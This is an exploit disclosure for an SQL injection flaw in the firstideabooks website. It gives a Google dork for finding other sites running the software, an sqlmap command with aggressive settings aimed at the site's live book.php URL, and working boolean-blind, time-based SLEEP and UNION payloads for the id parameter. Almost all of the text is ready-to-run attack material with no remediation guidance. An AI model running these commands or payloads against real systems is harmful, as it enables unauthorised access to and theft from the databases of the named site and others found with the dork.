**************************** #Exploit Title: firstideabooks - SQL Injection vulnerability #Date: 12/02/2023 #Exploit Author: Mahdi Karimi #Vendor Homepage: https://www.firstideabooks.com #Google Dork: "Powered by firstideabooks" #Tested On: Kali Linux sqlmap: sqlmap -u "https://www.firstideabooks.com/book/book.php?id=12&subject_id=1" -p id,subject_id --level=5 --risk=3 --tamper=space2comment --random-agent Testing Method; - boolean-based blind - time-based blind - UNION query Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=12 AND 4420=4420&subject_id=1 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=12 AND (SELECT 7337 FROM (SELECT(SLEEP(5)))SIiu)&subject_id=1 Type: UNION query Title: MySQL UNION query (NULL) - 19 columns Payload: id=12 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b6a7171,0x495a6f4a4467764b4470717546664e71784d75756a4250734e7869746f4d72414278767a43557775,0x717a716b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&subject_id=1 --- ************************************************** #Discovered by: Mahdi Karimi #Email : [email protected] **************************************************